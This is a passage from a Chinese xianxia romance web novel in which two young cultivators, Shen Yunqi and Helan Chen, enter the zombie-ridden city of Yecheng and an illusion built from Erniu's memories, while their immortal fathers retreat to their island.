“没有。”沈不忘否认。 渡妄哼了一声,道:“晾你也不会,若是找到这人,我定会让她道消法灭,永不超生。” 沈不忘蹙眉,道:“你不要总是想着打打杀杀的。” “怎么,你舍不得了?”渡妄阴沉沉的问道。 沈不忘说:“没有这个人,有何舍不得的?” 渡妄哼了一声:“狡辩。” 沈不忘懒得搭理他,与他相处久了,便知道他总是这般发神经,间歇性抽风发癫,实际上杀伤力很小,归结起来便是纸老虎。 “走吧,回客栈。”沈不忘拉过他的手。 渡妄还扭捏的想要甩开他,力道小的几乎可以忽略不计。 沈不忘此刻心情还是很不错的,他完美的完成了戚宝交代的事情,不至于让孩子在人前丢脸。 两个人走了两步,一脚踩在了阵眼上,只听“咔嚓”一声,阵眼的宝物被踩了个稀碎。 御于穹顶之上的阵法和万道剑阵,尽数粉碎,没有在空气中引起任何波澜。 “什么声音?”沈不忘问道。 渡妄抬脚,蹙眉,道:“踩碎了个琉璃珠。” “这怕是不妥,赔他们一个好的。”沈不忘直接从渡妄的储物戒中掏了个最亮最大的珠子,放在了阵眼的位置。 沈不忘又看此处是一个阵法,思索了片刻,将此阵法直接加固了。 两人离去后,躲在暗处的男子才从怔神中反应过来,走到阵眼所在的地方。 “这、这就走出去了?”南宫玄翎满目震惊。 “难道他真的是剑尊?可是当年,我见他时,分明是一个乡野村夫啊。”说话的人正是御剑山庄大公子,南宫剑意。 刚才他见到沈不忘,见他冒充剑尊,心中嗤笑。 他根本不信此人是剑尊,因为他曾经在无相寺见过他。 现在,他倒是有些相信了,身份可以伪装,但实力不可能假装。 兄弟两在阵眼处研究了一番,扳动了一下阵眼,顿时天光大盛,一个巨大法阵直接笼罩天决城,原本只是保御剑山庄的阵法,此时竟可以福泽整个城池,并且威力不减。 宗族老祖本在闭关中,此时也被惊动。 南宫无名等一群宗门老祖,全都聚集在广场上,对着这个加固的阵法赞不绝口。 “不愧是剑尊啊!” “此等修为就算是先祖在世也比不上。” “你们说剑尊是何等修为了?” …… 伯疏流淡然的站在人群之外,神色疏离冷漠,琥珀色的瞳孔中弥散着淡淡的红色。 一道声音在心底升起:【沈君钦!又是沈君钦!我要杀了他。】 伯疏流有些无奈的跟他对话:【你何必跟师弟争个高低,他不在乎这些虚名的,你若是想当剑尊,你当便是。】 那声音气急败坏道:【你还说他不在乎,那他为什么要以剑尊的名义出现在各大宗门面前?】 伯疏流:…… 他又说:【伯疏流,你别想忤逆我!帮我找到那个人,不然我就要那个小的。】 伯疏流脸色越发冷沉。 “掌门尊上!”清亮的少年声音在身后响起,俞观南正站在身后不远处。 伯疏流怔了怔,回过神来,看他。 “何事?” “掌门尊上,可否让弟子跟你一道去无相寺历练?”俞观南鼓起勇气,恳求着开口。 伯疏流回道:“不可,你去邺城便是。” “可、可弟子想要追随掌门尊上。”俞观南急切的说道。 伯疏流浅浅一笑,道:“以后有机会,邺城,也是你的故土。” 俞观南顿了一下,有些茫然。 伯疏流没有跟他多说什么,离开了此处。 客栈里。 渡妄又开始犯病了,方才他不知道偷听了什么,路上越想越不爽,开始纠缠沈不忘了。 沈不忘说什么都不听,都觉得他在狡辩。 还不受控制的变成了龙形,将他团团盘住,大脑袋在他脸上狂蹭。 “你都不愿意摸我了。”渡妄看到他偏开的脑袋,气的咬牙切齿的。 沈不忘抬手摸了摸他的龙角,安抚道:“刚刚你被叫走,他们跟你说了什么吗?” “你现在还有心思关心别人,是不是在转移话题?”渡妄质问道。 沈不忘:…… 无言以对。 他不再说话,可是渡妄还有话要说:“你还不理我!就是逃避。” 这分明是无理取闹嘛?! 沈不忘此时理他也不行,不理他也不行,他还会翻旧账,远到盘古开天辟地,小到他曾经褪了龙鳞在床上,沈不忘直接给丢了。 沈不忘觉得此事不对劲,他什么时候这么脆弱敏感了,不禁问道:“你该不会、发情期了吧?” “啊?”黑龙愣了一下,硕大的眼睛眨了眨。 沈不忘摸了摸他的脸,道:“你是不是不舒服?” 黑龙眼珠子转了一下,道:“是的,很不舒服,我需要跟你双修缓解。” 在这个客栈里肯定不行,沈不忘又想到要去邺城之事。 渡妄道:“两个小的是时候出去历练了,此事交给他们便是,我们随时护法,况且,邺城那地,你呆了那么久,无论是妖魔鬼怪还是仙家都得给你几分薄面。” 沈不忘原本还觉得自己有这么大的面子吗? “我留一道意念在戚宝身上,若是出现危险,可以保他们一命。”沈不忘道。 他悄无声息的来到了两个人的房间,看到两个人一个睡在地上,一个睡在床上。 浑然当外界于无物,戚宝的手垂在床边,贺兰忱却拉住了他的手腕。 “睡相这么差,阿忱都被你踹到床下了。”沈不忘低语了一句。 作为好父亲,他直接将贺兰忱搬到床上去,替两个人盖好被子,在两人胸前留下玉纽扣和传音符。 处理好此事,便跟渡妄返程,回去仙岛。 第 74 章 装睡 沈云戚做了个梦, 梦见自己参加运动会跑一千五百米。 顶着个大太阳,晒得他口干舌燥的,脚步越来越沉重。 他还在想自己为什么跑不动了, 回头一看, 贺兰忱抱着他的小腿, 他正拖着他跑。 不对啊,他不是已经在修仙世界了吗?为什么还要自己跑步? 难道修仙世界的一切都是他的梦, 他在现实中醒来后,还是那个无父无母的孤儿? 不要啊!! 沈云戚猛地醒来, 看着古朴的客栈装饰,暗暗松了一口气,还好还好。 不过他忽然意识到了不对劲,腰间被一只手禁锢着,身后的人胸膛贴着他的后背, 将他搂在怀里。 贺兰忱昨晚怎么爬到床上来睡了?是什么时候的事情, 他怎么完全没有发现? 他脑子有些发空,一时半会没有想好说辞。 尤其是男人每天早上,总会有那么一个鸡动时刻。 沈云戚此时正被贺兰忱拿枪指着,又被紧紧的揽在怀里。 他一时竟不知道该作何反应,只能呆呆的躺在他怀里。 身后浅浅的呼吸伏在他的脖子上, 忽地,身后的呼吸忽然变得沉重了起来。 他醒了! 沈云戚心慌意乱之下,不知如何应对他,立即闭上眼睛,佯装自己还没有醒来。 这样的话,他就不用直面贺兰忱了。 他现在只希望贺兰忱起身离开床,假装什么事情都没有发生过一般, 两个人就又可以如往常一般相处。 贺兰忱确实醒了,他看到自己搂着戚宝睡觉,喃喃自语道:“原来没有做梦啊。” 他原也想着趁戚宝没有醒来的时候悄然下地,他眼尖的发现怀里的人耳朵动了动。 戚宝醒来了,并且在装睡。 “宝宝,你醒了吗?”贺兰忱坏心又起了,凑在他耳边说话。 沈云戚闭着眼睛,平复着呼吸,不想让他看出来。 贺兰忱却没有按照他所想的那般,起来假装无事发生,而是凑近了他的脸颊。 少年的脸如白玉一般透着淡淡的红,耳尖上也染上了淡淡的红晕,耳垂上的红痣显得十分精巧可爱,他的睡颜十分安静,就像是躺在他怀里的睡美人。 已经不是爹爹的小宝宝了,他已经长大了,是他的道侣了。 呼吸越来越近,带着暧昧的气息接近。 沈云戚不禁捏紧了拳头,害怕他会做什么。 “我也不知道为什么突然睡到床上来了,该不会是你半夜趁我睡着了,把我拖进被窝的吧?”贺兰忱臭不要脸的开口。 沈云戚顿时瞪大了眼睛,怒道:“才不是,我才没有,肯定是你半夜爬我被窝了!” 贺兰忱似笑非笑的看他恼羞成怒的样子,气定神闲的问道:“不是你干的还有谁?你心虚装睡!” 沈云戚顿时小脸爆红,心虚确实有点,却不是把他搬上床来。 目光对上那双凑得极近的眼睛,眼底流淌着揶揄的笑意,他顿时心慌意乱,伸手推他,拱身起来。 贺兰忱却没有动弹。 下一瞬,沈云戚便亲在了他的嘴角上。 他大惊失色,才意识到两个人方才竟然才靠得这么近。 他急切的起身,仿佛投怀送抱似的亲上了他。 触及即分,不可撼动的贺兰忱被他撞翻了。 两个人在床上翻滚了一圈,贺兰忱还搂着他的腰。 贺兰忱压在他身上,沈云戚双手放在胸前,捏着两个小拳拳,不知是紧张,还是要打他。 “我、我……才不是心虚装睡。”沈云戚目光四下游移。 贺兰忱淡笑道:“那是因为什么?想要装睡美人吗?” 沈云戚心中哼笑了一声,嘀咕道:“我怕你尴尬。” 贺兰忱歪了一下脑袋,问:“我尴尬什么?” “你那个,顶着我了。”沈云戚小脸爆红,之前从后面顶着,现在从前面顶着。 难道他都没有发现吗? 贺兰忱也发现了异样,却不在乎的说道:“怎么了?你要帮我解决一下吗?” 沈云戚顿时瞪大眼睛,怒道:“你不要脸!” “这就不要脸了?是个男的都会这样啊,难道你没有过?”贺兰忱露出沉思的神色,试探着又带着几分讨好的情绪说道,“宝宝,如果你没有的话,这是病啊,要早点找个大夫看看,不然爹爹们会很担心的,我也担心。” 说着,他还爱抚的摸了一把他的脸颊,神色关切。 沈云戚气的牙痒痒,偏过头一口咬在他的手指上。 狠狠地咬住他的手指,他说这种骚话,就该受到惩罚。 沈云戚没有收力,贺兰忱闷哼一声。 让你说骚话,让你瞎说,咬死你。 他狠狠地看向贺兰忱,漂亮的眼睛因为愤怒而染上了薄薄的水雾,像是丛林里的野兽,幼崽版。 可爱呀。 沈云戚发现自己的撕咬并无任何杀伤力,贺兰忱此时正一言不发沉眸看着他。 沈云戚心头一滞,叼着他的手指,忽然有些不知所措了。 “我……我起床了,你自己解决一下吧。”沈云戚松开他,抬了抬腿,示意他让开。 贺兰忱静默不语,翻身让开。 他就这么躺在床上,张开双臂,喉结滚动着,嗓子里似乎有什么东西在挠般,很痒。 他并没有动手,而是等着那处自己消下去。 沈云戚匆匆穿好衣裳,也无暇计较贺兰忱为什么会滚进自己的被窝里。 他从衣襟里找到了爹留给他的东西,查看了一番才反应过来,原来他爹昨夜来过房间,多半是他看到贺兰忱睡在地上,所以将他搬到床上去了。 沈云戚背对着贺兰忱说道:“我爹他们有急事回仙岛了,让我们去邺城历练,他还说昨夜御剑山庄已经有人来找过他了。” 他话音刚落,贺兰忱便走到他身旁来了。 沈云戚诡异的打量了他一眼,贺兰忱挑挑眉,问:“干嘛用崇拜的眼神看哥哥?是不是觉得哥哥特别帅?” “你,这么快就好了?”沈云戚挑剔的问道。 贺兰忱:…… 沈云戚终于将他怼的哑口无言,心中小得意,嘿嘿笑出声来了。 贺兰忱见他笑了,也跟着笑了起来,不是很在意他说的很快的事情。 快不快,试试才知道。 门外响起敲门声,胡淳志的声音响起:“小戚,你们醒了吗?” 沈云戚应道:“醒了,怎么了?” “刚刚我去找沈叔叔,发现他好像离开了。”胡淳志回应道。 沈云戚打开房门,发现胡淳志已经收拾好了行囊,他说:“我要离开天决城了,想要跟沈叔叔道个别,以后不知什么时候才能再见。” “我爹他昨夜连夜回去了。”沈云戚解释道。 胡淳志顿了一下,询问道:“那你是有别的打算吗?” “对的,我爹让我们去邺城历练。”沈云戚问道,“若是你们也要去那,我们可以同路。” 邺城的情况,他们不清楚,尚不知道此处有何危险。 胡淳志是那唯一的幸存者,他应该对此很熟悉,而且他好像很希望他去邺城。 二牛哥心中可能一直想要让荷花村那些枉死的村民们得到安息,他会帮助那些游走于世间的亡灵们超度的。 几个人同路而行的话,或许还能得到一些外人不知晓的情报。 胡淳志愣了一下,面上露出笑意,道:“好啊,那便去历练吧,我们一起出发。” “嗯嗯。”沈云戚笑眯眯的。 贺兰忱单手搭在他肩膀上,捏捏他的脸,道:“笑的这么开心,他也看不到。” “可以看到。”胡淳志微笑道。 贺兰忱便更不爽了,道:“既然可以看得见,为什么还要绑着布条?” 胡淳志没有跟他解释原因,跟沈云戚道:“那你收拾一下,我们一起上路。” “已经收拾好了,走吧。” 他们修士的东西全都放在储物空间里,没有过多的东西需要收拾,来去十分洒脱。 一路上,他们倒是了解了邺城的现状。 人死入轮回,方才能平衡,千万年来都是如此,后来天道崩塌,神界与下界割席,修士飞升无门。 所有修士们便聚集在这大陆上抢这些固有的资源,可是秘境宝典只有这些,总会有拿完的一天。 于是便出现了一些人造秘境。 “你是说,邺城是有人故意全都杀了,将他们的灵魂困于身体内,最后整个邺城成为僵尸城。”沈云戚从二牛的表述中,总结了这么一个结论。 二牛颔首道:“为的就是供宗门的弟子前来历练。” 沈云戚乍一听觉得没什么问题,可这个结论却透着不对劲,他问:“你是哪里得知这个消息的?” “这些年我游历大江南北,遇到了不少人,查阅了不少数据。”二牛解释道。 彩蝶见他被质疑了,立即不满的说道:“难道你们还觉得哥哥会骗你们吗?” 贺兰忱沉思片刻,笑:“前面说的倒是没错,天道崩塌,飞升无门,邺城是修士们造就的历练之地怕是你们自己推测的。” 彩蝶还要反驳,便听贺兰忱又说:“之前你们还说过,有修士去邺城治理过僵尸之乱,可都有去无回了,而且爹也说了,皇上想要找修士来处理这些事,都求助无门。” “哼,谁知道那些名门正派打得什么算盘?”彩蝶不服气的哼哼道。 沈云戚也如贺兰忱这么想,便道:“进了邺城再看究竟如何。” 胡淳志点点头,没有再言。 贺兰忱忽然心血来潮的问了一句:“胡大哥,你既然可以看得见,又是从荷花村唯一逃出来的人,那你没有见过凶手吗?” 话音落,飞行法器里的氛围瞬间变得尴尬起来。 静默之下,胡淳志的呼吸声都变得沉重,像是忆起了什么恐怖的往事,身体都开始颤抖起来。 他见过凶手! “不,我没有见过凶手,我、我当时晕了过去。”胡淳志猛地摇头,想要将那些可怕的记忆从脑海里甩出去。 贺兰忱沉着脸,冷冷的看着胡淳志纠结的模样。 沈云戚扯了扯他的衣摆,示意他少说几句。 第 75 章 仙岛&历练 仙岛之上, 浓郁的灵气形成了守山罡风,无论何种修为的修士在此灵气旋涡中,都会被四面八方而来的灵气蜂拥进经脉, 然后爆体而亡。 除非得到仙岛主人的准予, 才能进入。 此时仙岛上的巨大水镜里正映着沈云戚和贺兰忱的身影。 渡妄原本不受控制的狂躁和变成龙, 在回到了仙岛上便不药而愈了。 也不闹人了。 这真是,简直要让沈不忘怀疑他是不是只想打发走两个孩子, 想要过他们的二人世界。 他之前便提过好几次这样的要求。 渡妄心情好了不少,将自己在天决城购买的物品拿出来, 自顾自的打发了一番,额头上的两个龙角长了出来,衣裳也十分清凉,若隐若现的腹肌和腰线在薄纱之下,仔细看来, 腰腹上还长出了几片浅色的龙鳞。 他与道侣相处这些年, 算是有些了解他的喜好的,仙尊虽然冷冷的,就算最是情动的时候都能可控制住不喊出声,他就算说再多话刺激他,他也只是用那氤氲着泪雾的眸子看着他, 咬唇不言。 他也不愿意跟自己真身交合,但是当他变出一些原身的特征,他倒是挺喜欢的,会轻轻的抚摸着他,目光也会格外的温柔,那种时候,他便会情难自禁。 所以他时不时会变成这副样子, 来获取他的关注。 沈不忘正在认真的关注着孩子们的去向,并未注意到打扮的花枝招展的道侣,渡妄在他面前走来走去走了好几趟后,终于忍无可忍,一挥衣袖将水镜给收了。 沈不忘这才注意到他在自己面前,第一眼便看到他穿成这副出不了门的样子,神色泰然问道:“为何收了水镜?” “小崽子们在赶路,有什么好看的?”渡妄坐在他身边,捏着他的下巴,让他正视着自己,道,“你该看我。” “嗯。”沈不忘看了他一会,道,“看完了。” 渡妄心中颇有些恼火,道:“仙君,你当真是没有情趣。” 沈不忘平静的扫了一眼他的穿著,将目光移向别处,想要继续看崽崽们的境况,渡妄却自顾自的喝了一口酒,捏着他的下巴凑上来,嘴对嘴的度给他喝。 “咳咳……”沈不忘被烈性的酒呛到了,嘴唇也被他吻得发红,茶金色的眸中疑惑的看着他,道,“还是白日。” 他们之前说好的,夜里才会行鱼水之欢,现在他的状态看来有些激动,显然是等不到夜里了。 渡妄揽着他的腰,让他坐在自己的怀里,沈不忘一时不稳,手撑在他的胸膛上。 “之前说好的白天教孩子,晚上陪我,现在孩子不在家,你自然要一直陪着我。”渡妄拥着他,将下巴磕在他的肩膀上,呢喃道,“我现在好难受。” “怎么了?”沈不忘询问。 渡妄面上一喜,语调继续可怜兮兮哼哼唧唧道:“难道你忘了吗?我现在不受控制的会变成龙,便是到了发情期,需要道侣好好安抚。” “所以,你到了发情期,我回来陪你了,对吗?”沈不忘声音温温柔柔的,伸手摸了摸他的角。 渡妄点点头,嘴唇凑在他的脖子上细细吻着,十分享受此时无人打搅的温情时刻,这段时日,他们就可以肆意的双修,用各种之前没有尝试过的姿势,也不会尚未尽兴的时候天就亮了,要给两个小崽子上早课。 “那你在遇到我之前是怎么过的了?”沈不忘有些疑惑。 渡妄梗了一下,道:“那时候……还没有长大,就……没这个烦恼。” 在他出生之后几百年,完全没有这方面的想法,一心追求力量,天天跟各界大能约战,打的那叫一个天昏地暗,受了伤好了继续打,直到打到无敌手为止,直到遇上了沈君钦…… 一开始也是要跟他约架,可是沈君钦不理他,说他也不是为祸苍生者,他不会对他动手的。 渡妄那叫一个不服气,于是改名换姓上了他们宗门仙山上,看到沈君钦与伯疏流切磋,便想到了若是他也是他师弟那岂不是可以跟他打架? 于是便缠上了他。 他起先切磋的时候还是用尽全力,却不太是他的对手,不过假以时日,他肯定会胜利的,本该是越挫越勇的他,却在一次切磋时失神被他打伤了,伤的不重却受到了沈君钦无微不至的照顾。 他甚至希望自己可以伤得更重一些,更久一些。 从那以后,他心里有了别的追求。 再后来……在封印中那几十年的双修。 他们就该从一开始就在一起。 沈不忘将信将疑的,伸手摸了摸他的龙角,这里是敏感的部位。 “舔舔,这里很难受。”渡妄拽住他的手,低声诱哄道。 沈不忘犹豫了片刻,抱着他的脑袋,凑上前去,在他额头上长出龙角的地方舔了舔,问道:“这样会好一点吗?” 渡妄呼吸戛然沉重了不少,闷闷的“嗯”了一声,心里难耐。 渡妄沉眸看着眼前人,发现自己跟他玩不了什么情趣,只要他碰到自己,他便心如火烧一般,只想更亲密一点,如此躁动。 很快两个人便滚作一团,沈不忘还想看儿子,有些许抗拒,毕竟孩子是第一次出远门,怕他们遇上危险。 “仙君,这个时候请专心一点。”渡妄提醒道。 沈不忘低声道:“可是,他们……” “去的是老地方,他们必定能安然回来。”渡妄已经扒掉了他的衣裳,堵上他的唇,让他尽说扫兴的话。 他其实并不担心两小孩会遇上什么危险,只是与眼前人独处的时候,他心里颇有些不自在,刚认识他时不会这样,只觉得讨厌,只是近两年才开始……?沈不忘想不明白这是什么原因,也很快想不到其他了。 三日后,沈云戚贺兰忱一行四人终于到达邺城。 古朴的城墙上斑驳不堪,肃杀的冷意和死气直冲天际,巨大的迷雾笼罩在大地上,分明外面还是阳光明媚,靠近城门的时候便是浓厚的雾气,护城河边散落的全是多尸骨。 经过护城河,才发现邺城的大门敞开,破败的城门根本拦不住任何东西。 沈云戚问二牛:“邺城城门大开,可是这里的邪物却并未听说有外出作乱的,你可知是怎么回事?” 二牛听到这话,不由顿了一下,道:“不知。” “那只能我们自己去一探究竟了。”沈云戚沉吟着,心中倒是有些猜测。 二牛嗯了一声,脑袋朝着沈云戚的方向偏了一下,贺兰忱倒是将此种怪异的行为看在眼中,他总觉得这个二牛有些奇怪。 彩蝶一路上倒是沉默,跟那日在神祇谷时的伶牙俐齿全然不同,她对沈云戚贺兰忱两人有偏见,所以并不打算与他们说话。 进了城才发现这里的雾气比外面看的更为浓厚,五米之外人畜不分,脚步踩在地上,松软的泥土沙沙的,不像是踩在实地上。 “当心脚下。”贺兰忱忽然拉了一下沈云戚。 沈云戚低头一看,发现自己竟然差一点踩上了一个半掩在泥沙中的尸体上。 “这地下埋的应该全是尸体。”贺兰忱踹了一下地上的沙土,黄沙随着小小的漩涡滚下去,露出一个腐烂了一半的头骨。 沈云戚露出惊讶的神色,问道:“这是什么?” 彩蝶听到这话不由翻了个白眼,二牛应道:“尸体。” “二牛哥,其实我一直有个问题想问,听闻邺城以及周遭几十个村镇全无活口,在那样的情况下,你是怎么活下来的?”贺兰忱这话问的直接。 二牛垂首看着两人,他身材十分高大,但是眼睛上蒙着厚厚的布条,上面写满了金色的铭文,也不知道布条下的眼睛是否可以看到他们。 沈云戚此时有些尴尬,这样戳人的痛处其实有些不好,可他也十分好奇,二牛是怎么活下来的,以及是如何变成现在这样的? 空气变得有些焦灼,不知道是不是错觉,空气中隐约传来一股奇怪的气味。 贺兰忱勾起唇角,笑问道:“怎么了,二牛哥不方便说吗?总不会是行凶者留了你一命,等到现在让你指认吧?” 二牛也牵扯了一下唇角,道:“你怎么会觉得我还是活人?” “什么?”沈云戚惊诧的看向二牛,可是他明明就如活人一般,保存着理智,不似他在书上见过的任何一个僵尸亦或魃。 二牛不由偏了一下脑袋朝着沈云戚的方向看去,猛地伸手,说是迟那时快,贺兰忱便将沈云戚拉开。 胡淳志的手臂极长,穿过迷雾,只听“咔嚓”一声,尸首的头骨应声碎成了齑粉。 沈云戚再抬头看二牛,发现他身量突然变高,宛如一个金刚罗汉搬,身体的肤色也变成了青蓝色,那些绑在他身上的金色铭文布条显得格格不入,彩蝶被他托举坐在肩头。 “他们来了。”彩蝶睥睨着两人,“你们自求多福。” 话音落下,城中的雾气变得更是大了,方才明明站在自己面前的人,此时便被红色的血雾遮盖了。 沈云戚贺兰忱抓住了手,连连退去。 地下传来震颤,无数蛰伏在沙土里的尸体似乎受到了什么的召唤,全都扭曲的站起来,仔细看来,他们身上还穿着王朝的战甲,此时早已锈迹斑斑。 两个人身处在包围圈,不知道血雾中间到底有多少走尸。 “他们应该全都醒来了。”贺兰忱蹙眉道。 沈云戚应声道:“这城中还有王朝派来的士兵僵尸,不在少数。” “瞧你二牛哥哥干的好事。”贺兰忱祭出轮回,长剑临空而起,剑意直接斩出了一条出路。 沈云戚也砍着袭击过来的僵尸,一边道:“又不是他让这些人变成僵尸的。” 贺兰忱撇了撇嘴,道:“你倒是相信他,我看他就是不安好心。” 沈云戚没有跟他争辩这些,而是发现这前赴后继的士兵僵尸很多,立即从储物戒中拿出一个照明弹,朝着漫天血雾上空砸去。 无比明亮的光朝着照亮了方圆十米内的空间,两个人这才发现这些士兵浩浩荡荡的全然看不到尽头,光凭他们两人是绝对杀不完的。 沈云戚道:“这些僵尸战士太多了,我们需要找个安全的地方从长计议。” “嗯,解决问题的根源才是。”贺兰忱也赞同。 天色暗了下来,两个人背靠着背,保护着对方的后面,沈云戚道:“我们找个屋子,有掩体的地方。” “戚宝,来这边。”贺兰忱的声音从竟然是从很远的地方传来,并不是在自己背后。 第 76 章 幻境往事 沈云戚慌忙回头, 发现自己交托后背的人并不是贺兰忱。 不知道从什么时候开始,身后站着一具僵尸,那僵尸却并未攻击他。 贺兰忱则是被相隔开去, 消失在迷雾之中。 他正要喊人, 确定贺兰忱所在的方位。 脚下的沙土便陷了下去, 他想往上飞,黑暗的深渊下无数双手抓住了他的脚踝, 将他往更深的地方拉去,松软的泥沙堵住了口鼻, 侵占了他的呼吸。 沈云戚紧紧闭着嘴巴,避免窒息,他仰头看去,入目一片虚无。 “戚宝!!”贺兰忱焦急的声音从地面上传来。 他给不了回应,陷入无边的窒息中。 不知道过了多久, 他又听到了声音。 “滴答……滴答……” 是滴水声, 还带着寒气。 沈云戚莫名的觉得自己似乎回到了冬天,觉得好冷。 “乖崽,别乱跑。”温柔的声音是爹爹的,他在跟自己说话。 沈云戚正想回答。 “爹爹,你看我。”戚宝稚嫩的小奶音响了起来, 似乎在给爹爹献宝。 沈云戚想要睁开眼睛看看小戚宝到底想要让爹看什么。 沈不忘被他逗笑了,发出轻轻的笑声,道:“爹爹要上山去打猎,乖崽跟淳志哥哥一起玩。” “可是他一直想要爹爹你收养他,我该怎么说啊?”戚宝似乎有些苦恼。 沈不忘道:“爹爹跟他是没有父子缘分的,自然不能收他当儿子,若是逆天而行, 必定没有好下场。” “那我跟爹爹是有父子缘分的对吗?”戚宝奶声奶气的问道。 沈不忘道:“有的。” 戚宝又问:“那爹爹永远会爱我吗?” “会的。”沈不忘应道。 得到了满意的答案,戚宝终于不问了。 这是他小时候吗?沈云戚记忆里似乎并没有这一段,或许这是他更小时候的事情,在他穿越来之前发生的。 沈云戚终于睁开眼睛了,感觉天旋地转的恍惚了一会,他正站在泥泞的小道上,远处炊烟袅袅的,道路两边是结了冰的荷塘,枯萎的荷叶被冻在冰下。 这是荷花村啊。 沈云戚意识到这里是什么地方了。 “乖崽,走不动路了吗?要不要爹背你?”沈不忘的声音在身后传来。 沈云戚立马回头,看见了他爹回头,他爹的外貌没有任何变化,那张俊美如神仙般的脸,一尘不染的气质,总是让人忘记他穿着枯草颜色的粗布麻衣,他低声喊了一声:“爹。” 爹没有回应他,目光看向远处。 沈云戚看到了小小的自己背着行李,将目光从远处的小山包那边收回来,小跑着追上了爹爹,道:“来咯。” 一大一小手牵手背着行李离开了荷花村,人影逐渐远去。 沈云戚想起来了,这是当年他们离开荷花村去奉天城时候的场景。 这不是现实之地,而是幻境之中,他不知为什么会进入这幻境。 这是以他记忆幻化成的幻境,他在书中看过。 只是为什么会有他记忆形成的幻境? 沈云戚心中带着疑惑,握紧了手中的剑,朝着村子里走去,村里家家户户大门紧闭,他下意识的朝着自己曾经住过的小茅草屋走去,房子里空无一物。 沈云戚疑惑了片刻,又朝着隔壁陈秋生的宅子走去,院子门刚刚打开,满脸血肉模糊的陈秋生张大着血盆大口,冲着他袭击过来,那恐怖的模样猝不及防把他吓了一跳,赶紧提剑斩落了他的脑袋。 打斗声吸引来了其他村民赶来,每一个人都看不清原来的模样,面目像是被什么啃食了一半,尤其是眼睛黑洞洞的一片。 他们看到有活人,前赴后继的冲上来。 沈云戚面对这些低等僵尸,手起刀落,很快便砍倒了一片。 沈云戚提着剑快步走出了荷花村,此时太阳已经落山了。 他看到了一个半大的少年从荷花村那边一跳一跳的走村来,沈云戚眉心一跳,看到二牛停在自己不远处,疑惑的看着他。 “沈叔叔,你怎么……” 稚嫩的少年话未说完,便倒地不起,手中还握着热腾腾的红薯。 沈云戚走过去查看了一番,发现这个少年正是二牛,他的眼睛上被砍了一刀,倒地不起却还有呼吸。 真是很奇怪,这个幻境中,所有人都是僵尸,只有二牛是活人,这是什么缘故? 沈云戚心里很快反应过来,这不是自己的记忆,这是二牛看到全村人被杀害时候的记忆。 他、看到的凶手,是我爹? 这个奇怪的想法出现在沈云戚的脑海里。 莫名地,他有种不好的预感。 有人冒充爹的弟子不是唯一的事件,还有人冒充他爹在外面杀人? 沈云戚心里着急,他必须快些离开此处,将此事告知爹爹才好。 倒在地上的二牛忽然动了一下,身体一节一节的膨胀变大,站起身来,宛如一个巨人,甚至有沈云戚两个人那么高,逼近四米。 此时他身上再也没有那些缠着的金色铭文布条了,沈云戚抬头看清了他此时的样子。 确实如他所说,他的眼皮被人切掉了,可是那不足以让人心中震颤,因为戚宝看到了他的一对眼眶中挤进了六只眼睛,有三颗是野兽的眼睛,黄色的眼白,方块的瞳仁,那是食草动物才会有的眼睛。 是……兔子精。 沈云戚第一个想到的便是儿时那半辆小卡车一样的兔子精。 “沈云戚,原来是你!”二牛发出了一声怒喝,声音中压抑的是痛苦的怒吼。 沈云戚连忙后退了几步,不太确定问道:“你说什么是我?” “沈云戚,原来是你!是你杀了全村的人,我要为大家报仇,为沈叔叔清理门户。”二牛愤怒的说道。 沈云戚立即道:“不是我干的,你死的时候才四岁,那时候我还是个孩子。” “是你,就是你,我看到了,你杀了我。”二牛陷入狂暴的状态。 二牛扬起一拳,朝着沈云戚砸过来,沈云戚立即躲开,接二连三的袭击冲他而来,沈云戚全都一一躲开。 他眼眶中的六个眼珠子到处乱转,寻找沈云戚的踪迹。 “在后面。” 沈云戚飞身而起,一击将二牛给打到,压着他不让他动弹,可是却没有痛下杀手,要了他的命。 此处幻境与二牛有关,一定要让他从这里走出去才是:“二牛,你冷静一些,村里的人不是我杀的,我陪你一起去找凶手好吗?” 二牛没有挣扎了,沈云戚正以为自己已经说服了他,却发现被自己制服的二牛巨大的身体发生了巨大的变化,他的皮肤裂开,无数双眼睛从他血肉里睁开。 此等景象十分诡异可怖,一股不可名状的恐怖感觉从心里生出。 “杀了他,杀了他!” “杀了他啊,为荷花村的所有人报仇。” “啊,你竟然这么狠,害死我们。” …… 男男女女老老少少的声音都从二牛的身体里传来,他们又长出了嘴巴,无法辨别他们的面目,沈云戚心里却有个感觉,这些人是荷花村的死灵。 这到底是怎么回事? 沈云戚恍惚之时,二牛再一次从地上爬起来,他浑身魔气暴涨,重重一拳,击中沈云戚,他被打出几丈远,摔落在地上,在回过神时,二牛宛如一座山一般,朝他走来,巨大的压迫感以及浑身乱转的眼睛。 二牛声音十分怪异,道:“沈云戚,你为什么要杀了我们?” 他举起巨大的斧头,高高举起。 一点寒光而过,随后剑出如虹,面前的二牛忽然从中间被劈成了两半。 他握不住斧头了,斧头重重的朝着沈云戚而来,一道黑影闪过,踹飞了那柄大斧头,伴随着一声不屑地声音:“真是有些恶心。” 贺兰忱出现在了沈云戚的面前,他伸手拉起沈云戚。 沈云戚还是惊魂不定的样子,贺兰忱问道:“吓到了吗?” “确实有点可怕。”沈云戚点点头,应道。 贺兰忱神色有些阴郁道:“你又不是打不过他,杀了这个怪物就好。” 沈云戚沉默了片刻:“我怕杀了他,就出不去这幻境了。” 贺兰忱低声说了句:“还以为你舍不得了。” 沈云戚听得不真切,问了句:“什么?” “没什么。”贺兰忱赶紧转移话题,“你的考虑很有道理,这个幻境确实是二牛的,我们要找到这个世界真实的二牛。” 沈云戚颔首,道:“人死了魂魄就会离体,进入轮回或者鬼道,邺城以及二牛,是什么原因死后魂魄不离体,反而成为僵尸。” “那你说僵尸应该是什么?魔物?”贺兰忱问道。 沈云戚愣了一下,道:“算是吧。” “人死后成鬼,魔死后成什么,妖死后成什么,神死后成什么?”贺兰忱像是自言自语,暗自思忖着。 沈云戚倒是没有想那么多,只是将自己刚刚遇到的事情跟贺兰忱说了一遍,道:“荷花村的村民应该是被人杀死的,二牛看到了这一幕,就被那杀手杀人灭口了。” “二牛未必是当时就死了,可能没有死,于是产生了心魔。”贺兰忱推测道,“后来因缘际会之下成了魔修,姑且当他是魔修,还有跟他在一起的那个女孩子挺神秘的。” 沈云戚颔首,毕竟现在的事情都是他们的推论,而且二牛的记忆可能也会出现偏差,他跟他爹分明离开了此处,二牛却对着他喊了句“沈叔叔”。 二牛是不是把凶手当做是他爹了?可是无法接受这一点,所以不断地在记忆里找补这一点,刚刚看到他的时候,便将这个罪名推到他的身上。 